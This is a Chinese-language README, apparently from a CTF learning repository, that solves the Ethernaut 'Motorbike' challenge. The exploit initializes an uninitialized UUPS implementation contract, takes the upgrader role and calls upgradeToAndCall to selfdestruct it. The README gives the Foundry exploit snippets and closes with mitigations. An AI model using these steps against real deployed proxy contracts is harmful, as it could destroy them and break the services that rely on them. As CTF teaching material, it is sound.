Skip to content

Latest commit

 

History

History
65 lines (40 loc) · 2 KB

README.md

File metadata and controls

65 lines (40 loc) · 2 KB

Motorbike

题目描述

原题 in Sepolia

Motorbike合约使用代理调用Engine合约的逻辑,我们使用Engine合约中的逻辑时,将函数调用发送到Motorbike合约中,Motorbike合约再代理调用Engine合约。目标是销毁Engine合约,使Motorbike合约失效(无法代理调用)。

运行

根据Foundry 官方文档配置好运行环境后,于本项目下执行下列命令:

$ cd WTF-CTF

$ forge test -C src/Ethernaut/Motorbike -vvvvv

功能简述

Engine合约并没有selfdestruct方法,无法销毁合约。但是Motorbike合约在初始化Engine合约时,使用的是代理调用,并没有直接合约间调用。也就是说,Engine合约并没有初始化。我们只要找到实际的Engine合约地址,并将它初始化,

 engine = address(uint160(uint256(vm.load(motorbike, _IMPLEMENTATION_SLOT))));

upgrader变量赋值为我的地址,

 Engine(engine).initialize();

然后再调用upgradeToAndCall函数

 Engine(engine).upgradeToAndCall(address(this), abi.encodeWithSignature("done()"));
 
//function done() public {
//        selfdestruct(address(0));
//}

Engine合约代理调用selfdestruct方法。即可完成目标。

合约在使用代理时,一定要注意implementation合约也进行了必要的初始化,以防止额外的事故发生。

比如在implementation合约的构造函数中使用_disableInitializers()链接

或者在implementation合约的函数中使用onlyDelegateCall函数修饰器,以保证implementation合约中的函数不会被call。

address immutable original;

constructor() {
	original = address(this);
}

modifier onlyDelegateCall() {
	require(address(this) != original);
	_;
}